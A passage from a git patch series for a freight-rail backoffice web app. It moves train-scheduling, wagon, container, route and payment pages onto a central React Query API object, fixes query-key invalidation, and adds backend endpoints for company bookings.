eligibleFreightType }, + enabled: Boolean(schedule), + }), ); - const { preview, assign, unassign, finalize, dispatch } = useScheduleMutations(scheduleId); + const preview = useMutation(api.trainScheduling.preview.mutationOptions()); + const assign = useMutation(api.trainScheduling.assignBookings.mutationOptions()); + const unassign = useMutation(api.trainScheduling.unassignBooking.mutationOptions()); + const finalize = useMutation(api.trainScheduling.finalizeSchedule.mutationOptions()); + const dispatch = useMutation(api.trainScheduling.dispatchSchedule.mutationOptions()); const assignedIds = useMemo( () => (schedule?.bookings ?? []).map((b) => b.id), diff --git a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2ListPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2ListPage.tsx index d389009aa..193caa0a5 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2ListPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trainScheduling/TrainScheduleV2ListPage.tsx @@ -39,13 +39,9 @@ import { RouteCorridor, StatusPill, } from "@/components/trainScheduling/scheduleVisuals"; -import { - useAvailableLocomotives, - useScheduleList, - useScheduleMutations, -} from "@/hooks/trainScheduling/useTrainScheduling"; +import { useMutation, useQuery } from "@tanstack/react-query"; +import { api } from "@/services/api"; import { useToast } from "@/hooks/use-toast"; -import { useRoutes } from "@/hooks/useRoutes"; import type { TrainScheduleListItem } from "@/types/trainScheduling"; import { DataTable, DataTableFooter, usePagination } from "@edr/ui-common"; @@ -88,10 +84,17 @@ export default function TrainScheduleV2ListPage() { const [scheduleDate, setScheduleDate] = useState(""); const [locomotiveId, setLocomotiveId] = useState(""); - const schedulesQuery = useScheduleList(); - const routesQuery = useRoutes(); - const locomotivesQuery = useAvailableLocomotives(routeId || undefined); - const { create, cancel } = useScheduleMutations(); + const schedulesQuery = useQuery( + api.trainScheduling.scheduleList.queryOptions({ input: {} }), + ); + const routesQuery = useQuery(api.routes.list.queryOptions()); + const locomotivesQuery = useQuery( + api.trainScheduling.availableLocomotives.queryOptions({ + input: { routeId: routeId || undefined }, + }), + ); + const create = useMutation(api.trainScheduling.createSchedule.mutationOptions()); + const cancel = useMutation(api.trainScheduling.cancelSchedule.mutationOptions()); const activeRoutes = useMemo( () => (routesQuery.data ?? []).filter((r) => r.isActive), diff --git a/apps/edr-freight-web/backoffice/src/pages/trains/TrainDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/trains/TrainDetailPage.tsx index e6c2534db..9e336fa19 100644 --- a/apps/edr-freight-web/backoffice/src/pages/trains/TrainDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/trains/TrainDetailPage.tsx @@ -2,13 +2,17 @@ import { useParams, Link } from "react-router-dom"; import { ArrowLeft } from "lucide-react"; import { Badge, Button, Card, Group, Loader, SimpleGrid, Stack, Text } from "@mantine/core"; +import { useQuery } from "@tanstack/react-query"; + import { AssignWagonDialog } from "@/components/wagons/AssignWagonDialog"; import { WagonsTable } from "@/components/wagons/WagonsTable"; -import { useTrain } from "@/hooks/useTrains"; +import { api } from "@/services/api"; export default function TrainDetailPage() { const { id } = useParams<{ id: string }>(); - const { data: train, isLoading } = useTrain(id!); + const { data: train, isLoading } = useQuery( + api.trains.getById.queryOptions({ input: { id: id ?? "" }, enabled: !!id }), + ); if (isLoading) { return ( diff --git a/apps/edr-freight-web/backoffice/src/services/api.ts b/apps/edr-freight-web/backoffice/src/services/api.ts index 410f68b0c..e801b856c 100644 --- a/apps/edr-freight-web/backoffice/src/services/api.ts +++ b/apps/edr-freight-web/backoffice/src/services/api.ts @@ -42,7 +42,68 @@ import { type Cargo, type DeliverCargoPayload, } from "./cargoService"; +import { containerService, type Container } from "./containerService"; +import { containerTypesService } from "./container-types.service"; +import { + wagonService, + type Wagon, + type WagonListFilters, +} from "./wagon.service"; +import { wagonTypesService, type WagonType } from "./wagon-types.service"; +import { trainService, type Train } from "./trains.service"; +import { + locomotivesService, + type Locomotive, + type SaveLocomotivePayload, +} from "./locomotives.service"; +import { cargoTypesService } from "./cargo-types.service"; +import { + fleetService, + type FleetListFilters, + type FleetRecord, +} from "./fleet/fleet.service"; +import type { FleetResourceSlug } from "@/pages/fleet/config/resources"; +import { + paymentsService, + type PaginatedPayments, + type PaymentListFilter, + type PaymentSummary, +} from "./payments.service"; +import { + signaturesService, + type SavedSignature, + type SaveSignaturePayload, +} from "./signatures.service"; import { warehouseService } from "./warehouse.service"; +import { trainSchedulingService } from "./trainScheduling.service"; +import { + routesService, + type RouteRecord, + type SaveRoutePayload, + type YardRef, +} from "./routes.service"; +import type { + AssignBookingsPayload, + BatchBoardSchedule, + BatchBoardScheduleDetail, + BookableSchedule, + CompositionRemovalEntry, + CreateTrainSchedulePayload, + EligibleContainerBookingsResponse, + FreightType, + LocomotiveRecord, + PinWagonsPayload, + RecordCheckpointPayload, + TrainScheduleDetail, + TrainScheduleFilters, + TrainScheduleListItem, + TrainSchedulePreviewPayload, + TrainSchedulePreviewResponse, + TrainTrackResponse, + UnassignedBookingsResponse, + WagonAllocationAttemptResult, + YardOption, +} from "@/types/trainScheduling"; import type { AllocationCriteria, AllocationPreviewResult, @@ -104,7 +165,333 @@ const INVENTORY_INVALIDATIONS: ReadonlyArray = [ ["warehouses"], ]; +/** + * Train-scheduling mutations broadly affect the schedule board and bookings. + * The grouped hooks invalidated TRAIN_SCHEDULING.ROOT + BOOKINGS.ROOT; since + * every train-scheduling key is prefixed with `"train-scheduling"`, the two + * roots below cover all of them via React Query's prefix matching. + */ +const TRAIN_SCHEDULING_INVALIDATIONS: ReadonlyArray = [ + QUERY_KEYS.TRAIN_SCHEDULING.ROOT, + QUERY_KEYS.BOOKINGS.ROOT, +]; + export const api = { + trainScheduling: { + // ── Queries ──────────────────────────────────────────────────────────── + scheduleList: endpoint<{ freightType?: FreightType }, TrainScheduleListItem[]>( + "train-scheduling", + "schedules", + ({ freightType }) => trainSchedulingService.listSchedules(freightType), + () => QUERY_KEYS.TRAIN_SCHEDULING.schedules(), + ), + + batchBoard: endpoint( + "train-scheduling", + "batch-board", + () => trainSchedulingService.getBatchBoard(), + () => QUERY_KEYS.TRAIN_SCHEDULING.batchBoard(), + ), + + batchBoardDetail: endpoint<{ scheduleId: string }, BatchBoardScheduleDetail>( + "train-scheduling", + "batch-board-detail", + ({ scheduleId }) => trainSchedulingService.getBatchBoardDetail(scheduleId), + ({ scheduleId }) => QUERY_KEYS.TRAIN_SCHEDULING.batchBoardDetail(scheduleId), + ), + + scheduleDetail: endpoint< + { id: string; freightType?: FreightType }, + TrainScheduleDetail + >( + "train-scheduling", + "schedule-detail", + ({ id, freightType }) => + trainSchedulingService.getScheduleById(id, freightType), + ({ id }) => QUERY_KEYS.TRAIN_SCHEDULING.scheduleById(id), + ), + + eligibleBookings: endpoint< + { filters?: TrainScheduleFilters; freightType?: FreightType }, + EligibleContainerBookingsResponse + >( + "train-scheduling", + "eligible-bookings", + ({ filters, freightType }) => + trainSchedulingService.getEligibleBookings(filters, freightType), + ({ filters, freightType }) => + QUERY_KEYS.TRAIN_SCHEDULING.eligible(freightType, filters), + ), + + availableLocomotives: endpoint<{ routeId?: string }, LocomotiveRecord[]>( + "train-scheduling", + "locomotives", + ({ routeId }) => trainSchedulingService.getAvailableLocomotives(routeId), + ({ routeId }) => QUERY_KEYS.TRAIN_SCHEDULING.locomotives(routeId), + ), + + bookableSchedules: endpoint< + { originYardId?: string | null; destinationYardId?: string | null }, + BookableSchedule[] + >( + "train-scheduling", + "bookable", + ({ originYardId, destinationYardId }) => + trainSchedulingService.getBookableSchedules( + originYardId ?? undefined, + destinationYardId ?? undefined, + ), + ({ originYardId, destinationYardId }) => [ + ...QUERY_KEYS.TRAIN_SCHEDULING.ROOT, + "bookable", + originYardId ?? "", + destinationYardId ?? "", + ], + ), + + availableDays: endpoint< + { originYardId?: string | null; destinationYardId?: string | null }, + string[] + >( + "train-scheduling", + "available-days", + ({ originYardId, destinationYardId }) => + trainSchedulingService.getAvailableDays( + originYardId ?? undefined, + destinationYardId ?? undefined, + ), + ({ originYardId, destinationYardId }) => [ + ...QUERY_KEYS.TRAIN_SCHEDULING.ROOT, + "available-days", + originYardId ?? "", + destinationYardId ?? "", + ], + ), + + trainTrack: endpoint<{ id: string }, TrainTrackResponse>( + "train-scheduling", + "track", + ({ id }) => trainSchedulingService.getTrack(id), + ({ id }) => QUERY_KEYS.TRAIN_SCHEDULING.track(id), + ), + + unassignedBookings: endpoint< + { scheduleId: string }, + UnassignedBookingsResponse + >( + "train-scheduling", + "unassigned-bookings", + ({ scheduleId }) => + trainSchedulingService.getUnassignedBookings(scheduleId), + ({ scheduleId }) => + QUERY_KEYS.TRAIN_SCHEDULING.unassignedBookings(scheduleId), + ), + + compositionRemovals: endpoint< + { scheduleId: string }, + CompositionRemovalEntry[] + >( + "train-scheduling", + "composition-removals", + ({ scheduleId }) => + trainSchedulingService.getCompositionRemovals(scheduleId), + ({ scheduleId }) => + QUERY_KEYS.TRAIN_SCHEDULING.compositionRemovals(scheduleId), + ), + + // ── Mutations ────────────────────────────────────────────────────────── + runAllocation: endpoint<{ scheduleId: string }, WagonAllocationAttemptResult>( + "train-scheduling", + "run-allocation", + ({ scheduleId }) => trainSchedulingService.runAllocation(scheduleId), + undefined, + () => [QUERY_KEYS.TRAIN_SCHEDULING.ROOT], + ), + + runBatch: endpoint( + "train-scheduling", + "run-batch", + (id) => trainSchedulingService.runBatch(id), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + setBookingWindow: endpoint< + { id: string; status: "OPEN" | "CLOSED" }, + TrainScheduleDetail + >( + "train-scheduling", + "set-booking-window", + ({ id, status }) => trainSchedulingService.setBookingWindow(id, status), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + markBookingPaid: endpoint( + "train-scheduling", + "mark-booking-paid", + (bookingId) => trainSchedulingService.markBookingPaid(bookingId), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + expireBooking: endpoint( + "train-scheduling", + "expire-booking", + (bookingId) => trainSchedulingService.expireBooking(bookingId), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + moveBookingSchedule: endpoint< + { bookingId: string; trainScheduleId: string }, + void + >( + "train-scheduling", + "move-booking-schedule", + ({ bookingId, trainScheduleId }) => + trainSchedulingService.moveBookingSchedule(bookingId, trainScheduleId), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + createSchedule: endpoint< + { freightType?: FreightType; payload: CreateTrainSchedulePayload }, + TrainScheduleDetail + >( + "train-scheduling", + "create-schedule", + ({ freightType, payload }) => + trainSchedulingService.createSchedule(payload, freightType), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + preview: endpoint< + { freightType?: FreightType; payload: TrainSchedulePreviewPayload }, + TrainSchedulePreviewResponse + >("train-scheduling", "preview", ({ freightType, payload }) => + trainSchedulingService.preview(payload, freightType), + ), + + assignBookings: endpoint< + { id: string; freightType?: FreightType; payload: AssignBookingsPayload }, + TrainScheduleDetail + >( + "train-scheduling", + "assign-bookings", + ({ id, freightType, payload }) => + trainSchedulingService.assignBookings(id, payload, freightType), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + assignUnassignedBooking: endpoint< + { id: string; bookingId: string }, + TrainScheduleDetail + >( + "train-scheduling", + "assign-unassigned-booking", + ({ id, bookingId }) => + trainSchedulingService.assignUnassignedBooking(id, bookingId), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + unassignBooking: endpoint< + { id: string; bookingId: string }, + TrainScheduleDetail + >( + "train-scheduling", + "unassign-booking", + ({ id, bookingId }) => + trainSchedulingService.unassignBooking(id, bookingId), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + pinWagons: endpoint<{ id: string; payload: PinWagonsPayload }, TrainScheduleDetail>( + "train-scheduling", + "pin-wagons", + ({ id, payload }) => trainSchedulingService.pinWagons(id, payload), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + finalizeSchedule: endpoint( + "train-scheduling", + "finalize-schedule", + (id) => trainSchedulingService.finalizeSchedule(id), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + dispatchSchedule: endpoint( + "train-scheduling", + "dispatch-schedule", + (id) => trainSchedulingService.dispatchSchedule(id), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + cancelSchedule: endpoint< + { id: string; freightType?: FreightType }, + TrainScheduleDetail + >( + "train-scheduling", + "cancel-schedule", + ({ id, freightType }) => + trainSchedulingService.cancelSchedule(id, freightType ?? "CONTAINER"), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + recordCheckpoint: endpoint< + { id: string; payload: RecordCheckpointPayload }, + TrainTrackResponse + >( + "train-scheduling", + "record-checkpoint", + ({ id, payload }) => trainSchedulingService.recordCheckpoint(id, payload), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + arriveSchedule: endpoint( + "train-scheduling", + "arrive-schedule", + (id) => trainSchedulingService.arriveSchedule(id), + undefined, + () => TRAIN_SCHEDULING_INVALIDATIONS, + ), + + removeWagonSlot: endpoint< + { scheduleId: string; wagonId: string }, + TrainScheduleDetail + >( + "train-scheduling", + "remove-wagon-slot", + ({ scheduleId, wagonId }) => + trainSchedulingService.removeWagonSlot(scheduleId, wagonId), + undefined, + () => [QUERY_KEYS.TRAIN_SCHEDULING.ROOT], + ), + + updateContainerItem: endpoint< + { scheduleId: string; itemId: string; containerNumber: string | null }, + { id: string; containerNumber: string | null } + >( + "train-scheduling", + "update-container-item", + ({ scheduleId, itemId, containerNumber }) => + trainSchedulingService.updateContainerItem(scheduleId, itemId, { + containerNumber, + }), + undefined, + () => [QUERY_KEYS.TRAIN_SCHEDULING.ROOT], + ), + }, + warehouses: { // ── Warehouses ───────────────────────────────────────────────────────── list: endpoint<{ filter?: WarehouseFilter }, Warehouse[]>( @@ -685,6 +1072,388 @@ export const api = { ), }, + routes: { + list: endpoint("routes", "list", () => + routesService.getAll().then((r) => r.data), + ), + + yards: endpoint( + "routes", + "yards", + () => routesService.getYards().then((r) => r.data.data), + () => ["routes", "yards"], + ), + + create: endpoint( + "routes", + "create", + (payload) => routesService.create(payload).then((r) => r.data), + undefined, + () => [["routes"]], + ), + + update: endpoint<{ id: string; data: Partial }, RouteRecord>( + "routes", + "update", + ({ id, data }) => routesService.update(id, data).then((r) => r.data), + undefined, + () => [["routes"]], + ), + + deactivate: endpoint( + "routes", + "deactivate", + (id) => routesService.deactivate(id).then(() => undefined), + undefined, + () => [["routes"]], + ), + }, + + stations: { + list: endpoint( + "train-scheduling", + "stations", + () => trainSchedulingService.getStations(), + () => QUERY_KEYS.TRAIN_SCHEDULING.stations(), + ), + }, + + containers: { + list: endpoint("containers", "list", () => + containerService.getAll().then((r) => r.data), + ), + + listByWagon: endpoint<{ wagonId: string }, Container[]>( + "containers", + "listByWagon", + ({ wagonId }) => containerService.getByWagon(wagonId).then((r) => r.data), + ({ wagonId }) => ["containers", "wagon", wagonId], + ), + + getById: endpoint<{ id: string }, Container>( + "containers", + "getById", + ({ id }) => containerService.getById(id).then((r) => r.data), + ), + + create: endpoint, Container>( + "containers", + "create", + (payload) => containerService.create(payload).then((r) => r.data), + undefined, + () => [["containers"]], + ), + + update: endpoint<{ id: string; data: Partial }, Container>( + "containers", + "update", + ({ id, data }) => containerService.update(id, data).then((r) => r.data), + undefined, + () => [["containers"]], + ), + + remove: endpoint( + "containers", + "remove", + (id) => containerService.delete(id).then(() => undefined), + undefined, + () => [["containers"]], + ), + + assignToWagon: endpoint< + { containerId: string; wagonId: string; position?: number }, + Container + >( + "containers", + "assignToWagon", + ({ containerId, wagonId, position }) => + containerService + .assignToWagon(containerId, wagonId, position) + .then((r) => r.data), + undefined, + () => [["containers"]], + ), + + unassign: endpoint( + "containers", + "unassign", + (containerId) => + containerService.unassign(containerId).then(() => undefined), + undefined, + () => [["containers"]], + ), + }, + + containerTypes: { + list: endpoint("container-types", "list", () => + containerTypesService.getContainerTypes(), + ), + }, + + wagons: { + list: endpoint<{ filters?: WagonListFilters }, Wagon[]>( + "wagons", + "list", + ({ filters }) => wagonService.getAll(filters ?? {}).then((r) => r.data), + ({ filters }) => ["wagons", "list", filters ?? {}], + ), + + listByTrain: endpoint<{ trainId: string }, Wagon[]>( + "wagons", + "listByTrain", + ({ trainId }) => wagonService.getByTrain(trainId).then((r) => r.data), + ({ trainId }) => ["wagons", "train", trainId], + ), + + getById: endpoint<{ id: string }, Wagon>( + "wagons", + "getById", + ({ id }) => wagonService.getById(id).then((r) => r.data), + ), + + assignToTrain: endpoint< + { wagonId: string; trainId: string; sequenceNumber?: number }, + Wagon + >( + "wagons", + "assignToTrain", + ({ wagonId, trainId, sequenceNumber }) => + wagonService + .assignToTrain(wagonId, trainId, sequenceNumber) + .then((r) => r.data), + undefined, + () => [["wagons"]], + ), + + unassign: endpoint( + "wagons", + "unassign", + (wagonId) => wagonService.unassign(wagonId).then(() => undefined), + undefined, + () => [["wagons"]], + ), + + reorder: endpoint<{ trainId: string; wagonIds: string[] }, Wagon[]>( + "wagons", + "reorder", + ({ trainId, wagonIds }) => + wagonService.reorder(trainId, wagonIds).then((r) => r.data), + undefined, + () => [["wagons"]], + ), + + create: endpoint, Wagon>( + "wagons", + "create", + (payload) => wagonService.create(payload).then((r) => r.data), + undefined, + () => [["wagons"]], + ), + + update: endpoint<{ id: string; data: Partial }, Wagon>( + "wagons", + "update", + ({ id, data }) => wagonService.update(id, data).then((r) => r.data), + undefined, + () => [["wagons"]], + ), + + remove: endpoint( + "wagons", + "remove", + (id) => wagonService.delete(id).then(() => undefined), + undefined, + () => [["wagons"]], + ), + }, + + trains: { + list: endpoint( + "trains", + "list", + () => trainService.getAll().then((r) => r.data), + () => ["trains", "list"], + ), + + getById: endpoint<{ id: string }, Train>( + "trains", + "getById", + ({ id }) => trainService.getById(id).then((r) => r.data), + ({ id }) => ["trains", "detail", id], + ), + + create: endpoint, Train>( + "trains", + "create", + (payload) => trainService.create(payload).then((r) => r.data), + undefined, + () => [["trains"]], + ), + + update: endpoint<{ id: string; data: Partial }, Train>( + "trains", + "update", + ({ id, data }) => trainService.update(id, data).then((r) => r.data), + undefined, + () => [["trains"]], + ), + + remove: endpoint( + "trains", + "remove", + (id) => trainService.delete(id).then(() => undefined), + undefined, + () => [["trains"]], + ), + }, + + locomotives: { + list: endpoint( + "locomotives", + "list", + () => locomotivesService.getAll().then((r) => r.data), + () => ["locomotives"], + ), + + create: endpoint, Locomotive>( + "locomotives", + "create", + (payload) => locomotivesService.create(payload).then((r) => r.data), + undefined, + () => [["locomotives"]], + ), + + update: endpoint< + { id: string; data: Partial }, + Locomotive + >( + "locomotives", + "update", + ({ id, data }) => locomotivesService.update(id, data).then((r) => r.data), + undefined, + () => [["locomotives"]], + ), + + decommission: endpoint( + "locomotives", + "decommission", + (id) => locomotivesService.decommission(id).then(() => undefined), + undefined, + () => [["locomotives"]], + ), + }, + + cargoTypes: { + list: endpoint("cargo-types", "list", () => + cargoTypesService.getCargoTypes(), + ), + }, + + payments: { + list: endpoint<{ filter?: PaymentListFilter }, PaginatedPayments>( + "payments", + "list", + ({ filter }) => paymentsService.list(filter), + ({ filter }) => ["payments", "list", filter ?? {}], + ), + + summary: endpoint( + "payments", + "summary", + () => paymentsService.getSummary(), + () => ["payments", "summary"], + ), + }, + + signatures: { + mySignature: endpoint( + "me", + "signature", + () => signaturesService.getMySignature(), + () => ["me", "signature"], + ), + + save: endpoint( + "me", + "save-signature", + (payload) => signaturesService.saveMySignature(payload), + undefined, + () => [["me", "signature"]], + ), + }, + + fleet: { + list: endpoint< + { slug: FleetResourceSlug; filters?: FleetListFilters }, + FleetRecord[] + >( + "fleet", + "list", + ({ slug, filters }) => fleetService.list(slug, filters), + ({ slug, filters }) => [...QUERY_KEYS.FLEET.list(slug), filters ?? {}], + ), + + create: endpoint< + { slug: FleetResourceSlug; data: Record }, + unknown + >( + "fleet", + "create", + ({ slug, data }) => fleetService.create(slug, data), + undefined, + ({ slug }) => [QUERY_KEYS.FLEET.list(slug)], + ), + + update: endpoint< + { slug: FleetResourceSlug; id: string; data: Record }, + unknown + >( + "fleet", + "update", + ({ slug, id, data }) => fleetService.update(slug, id, data), + undefined, + ({ slug }) => [QUERY_KEYS.FLEET.list(slug)], + ), + + remove: endpoint<{ slug: FleetResourceSlug; id: string }, unknown>( + "fleet", + "remove", + ({ slug, id }) => fleetService.remove(slug, id), + undefined, + ({ slug }) => [QUERY_KEYS.FLEET.list(slug)], + ), + }, + + wagonTypes: { + list: endpoint("wagon-types", "list", () => + wagonTypesService.getWagonTypes(), + ), + + create: endpoint, WagonType>( + "wagon-types", + "create", + (payload) => wagonTypesService.create(payload).then((r) => r.data), + undefined, + () => [["wagon-types"]], + ), + + update: endpoint<{ id: string; data: Partial }, WagonType>( + "wagon-types", + "update", + ({ id, data }) => wagonTypesService.update(id, data).then((r) => r.data), + undefined, + () => [["wagon-types"]], + ), + + remove: endpoint( + "wagon-types", + "remove", + (id) => wagonTypesService.delete(id).then(() => undefined), + undefined, + () => [["wagon-types"]], + ), + }, + cargoes: { list: endpoint("cargoes", "list", () => cargoService.getAll().then((r) => r.data), @@ -778,46 +1547,68 @@ export const api = { "file-upload-settings", "create", (payload) => fileUploadSettingsService.create(payload), + undefined, + () => [["file-upload-settings"]], ), update: endpoint< { id: string; dto: UpdateFileUploadSettingDto }, FileUploadSetting - >("file-upload-settings", "update", ({ id, dto }) => - fileUploadSettingsService.update(id, dto), + >( + "file-upload-settings", + "update", + ({ id, dto }) => fileUploadSettingsService.update(id, dto), + undefined, + () => [["file-upload-settings"]], ), remove: endpoint<{ id: string }, void>( "file-upload-settings", "remove", ({ id }) => fileUploadSettingsService.remove(id), + undefined, + () => [["file-upload-settings"]], ), replaceFields: endpoint< { id: string; fields: CreateFileUploadFieldDto[] }, FileUploadField[] - >("file-upload-settings", "replaceFields", ({ id, fields }) => - fileUploadSettingsService.replaceFields(id, fields), + >( + "file-upload-settings", + "replaceFields", + ({ id, fields }) => fileUploadSettingsService.replaceFields(id, fields), + undefined, + () => [["file-upload-settings"]], ), addField: endpoint< { settingId: string; dto: CreateFileUploadFieldDto }, FileUploadField - >("file-upload-settings", "addField", ({ settingId, dto }) => - fileUploadSettingsService.addField(settingId, dto), + >( + "file-upload-settings", + "addField", + ({ settingId, dto }) => fileUploadSettingsService.addField(settingId, dto), + undefined, + () => [["file-upload-settings"]], ), updateField: endpoint< { fieldId: string; dto: UpdateFileUploadFieldDto }, FileUploadField - >("file-upload-settings", "updateField", ({ fieldId, dto }) => - fileUploadSettingsService.updateField(fieldId, dto), + >( + "file-upload-settings", + "updateField", + ({ fieldId, dto }) => fileUploadSettingsService.updateField(fieldId, dto), + undefined, + () => [["file-upload-settings"]], ), removeField: endpoint<{ fieldId: string }, void>( "file-upload-settings", "removeField", ({ fieldId }) => fileUploadSettingsService.removeField(fieldId), + undefined, + () => [["file-upload-settings"]], ), }, @@ -844,46 +1635,68 @@ export const api = { "dropdown-settings", "create", (payload) => dropdownSettingsService.create(payload), + undefined, + () => [["dropdown-settings"]], ), update: endpoint< { id: string; dto: UpdateDropdownSettingDto }, DropdownSetting - >("dropdown-settings", "update", ({ id, dto }) => - dropdownSettingsService.update(id, dto), + >( + "dropdown-settings", + "update", + ({ id, dto }) => dropdownSettingsService.update(id, dto), + undefined, + () => [["dropdown-settings"]], ), remove: endpoint<{ id: string }, void>( "dropdown-settings", "remove", ({ id }) => dropdownSettingsService.remove(id), + undefined, + () => [["dropdown-settings"]], ), replaceOptions: endpoint< { id: string; options: CreateDropdownOptionDto[] }, DropdownOption[] - >("dropdown-settings", "replaceOptions", ({ id, options }) => - dropdownSettingsService.replaceOptions(id, options), + >( + "dropdown-settings", + "replaceOptions", + ({ id, options }) => dropdownSettingsService.replaceOptions(id, options), + undefined, + () => [["dropdown-settings"]], ), addOption: endpoint< { id: string; dto: CreateDropdownOptionDto }, DropdownOption - >("dropdown-settings", "addOption", ({ id, dto }) => - dropdownSettingsService.addOption(id, dto), + >( + "dropdown-settings", + "addOption", + ({ id, dto }) => dropdownSettingsService.addOption(id, dto), + undefined, + () => [["dropdown-settings"]], ), updateOption: endpoint< { optionId: string; dto: UpdateDropdownOptionDto }, DropdownOption - >("dropdown-settings", "updateOption", ({ optionId, dto }) => - dropdownSettingsService.updateOption(optionId, dto), + >( + "dropdown-settings", + "updateOption", + ({ optionId, dto }) => dropdownSettingsService.updateOption(optionId, dto), + undefined, + () => [["dropdown-settings"]], ), removeOption: endpoint<{ optionId: string }, void>( "dropdown-settings", "removeOption", ({ optionId }) => dropdownSettingsService.removeOption(optionId), + undefined, + () => [["dropdown-settings"]], ), }, diff --git a/apps/edr-freight-web/backoffice/tsconfig.app.json b/apps/edr-freight-web/backoffice/tsconfig.app.json index ff909c216..9c7064567 100644 --- a/apps/edr-freight-web/backoffice/tsconfig.app.json +++ b/apps/edr-freight-web/backoffice/tsconfig.app.json @@ -4,9 +4,8 @@ "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo", "useDefineForClassFields": true, "skipLibCheck": true, - "baseUrl": ".", "paths": { - "@/*": ["src/*"] + "@/*": ["./src/*"] } }, "include": ["src"] From f7cbb6af6f0473d8ba06f3c1be9b6ba13790a891 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Mon, 22 Jun 2026 13:52:34 +0000 Subject: [PATCH 28/30] fix: query key --- apps/edr-freight-web/backoffice/src/services/api.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/apps/edr-freight-web/backoffice/src/services/api.ts b/apps/edr-freight-web/backoffice/src/services/api.ts index e801b856c..f5239110d 100644 --- a/apps/edr-freight-web/backoffice/src/services/api.ts +++ b/apps/edr-freight-web/backoffice/src/services/api.ts @@ -163,6 +163,10 @@ const INVENTORY_INVALIDATIONS: ReadonlyArray = [ ["warehouse-inventory"], ["warehouse-loadings"], ["warehouses"], + // Singular `"warehouse"` root covers loadableWagons / bookingSchedule, which + // change when inventory is loaded/dispatched. Distinct from the `warehouse-*` + // roots above (prefix matching is element-exact, not string-prefix). + ["warehouse"], ]; /** @@ -918,7 +922,7 @@ export const api = { "auto-load-ready", () => warehouseService.autoLoadReady().then((r) => r.data), undefined, - () => [["warehouse-inventory"], ["warehouses"]], + () => INVENTORY_INVALIDATIONS, ), unloadBooking: endpoint< From a6f3fd56431f76a30a5793ba857628f6d9ad1032 Mon Sep 17 00:00:00 2001 From: Nathnael Date: Tue, 23 Jun 2026 06:45:29 +0000 Subject: [PATCH 29/30] feat: finish company profile in the backoffice --- .../modules/bookings/bookings.controller.ts | 8 + .../src/modules/bookings/bookings.service.ts | 33 + .../modules/companies/companies.controller.ts | 68 +- .../modules/companies/companies.repository.ts | 66 ++ .../modules/companies/companies.service.ts | 22 + .../companies/company-profile.repository.ts | 14 +- .../dto/company-stats-response.dto.ts | 7 + .../companies/dto/list-companies-query.dto.ts | 35 + .../companies/dto/response-company.dto.ts | 2 + .../dto/update-company-profile-status.dto.ts | 9 + .../src/modules/payment/payment.controller.ts | 9 + .../src/modules/payment/payment.repository.ts | 52 ++ .../src/modules/payment/payment.service.ts | 4 + .../src/components/customers/badges.tsx | 109 ++- .../src/components/customers/index.ts | 1 + .../backoffice/src/constants/QUERY_KEYS.ts | 1 + .../backoffice/src/constants/URLS.ts | 5 + .../src/hooks/customers/useCustomers.ts | 44 -- .../pages/customers/CustomerDetailPage.tsx | 65 +- .../src/pages/customers/CustomersPage.tsx | 27 +- .../src/pages/customers/customers.mock.ts | 722 ------------------ .../backoffice/src/services/api.ts | 210 +++-- .../src/services/customers.service.ts | 106 +-- .../backoffice/src/types/customer.ts | 9 + 24 files changed, 690 insertions(+), 938 deletions(-) create mode 100644 apps/edr-freight-api/src/modules/companies/dto/company-stats-response.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/list-companies-query.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/update-company-profile-status.dto.ts delete mode 100644 apps/edr-freight-web/backoffice/src/hooks/customers/useCustomers.ts delete mode 100644 apps/edr-freight-web/backoffice/src/pages/customers/customers.mock.ts diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index ae0f1765a..edb91ef6b 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -136,6 +136,14 @@ export class BookingsController { return this.bookingsService.findAll(filter, companyId); } + @Get('by-company/:companyId/customer-view') + @ApiOperation({ summary: 'List bookings for a company (customer-view shape, backoffice)' }) + findByCompanyCustomerView( + @Param('companyId', ParseUUIDPipe) companyId: string, + ) { + return this.bookingsService.findCustomerBookings(companyId); + } + @Get('list-summary') @ApiOperation({ summary: 'Booking list metrics and tab counts (backoffice)' }) @ApiOkResponse({ type: BookingListSummaryDto }) diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 4c8ef2cab..7db2870fc 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -1036,4 +1036,37 @@ export class BookingsService { return this.findById(id); } + + async findCustomerBookings(companyId: string): Promise<{ + id: string; + reference: string; + status: string; + tradeDirection: string; + freightType: string; + originLabel: string; + destinationLabel: string; + totalAmount: number; + currency: string; + scheduledDate: Date | null; + createdAt: Date; + }[]> { + const 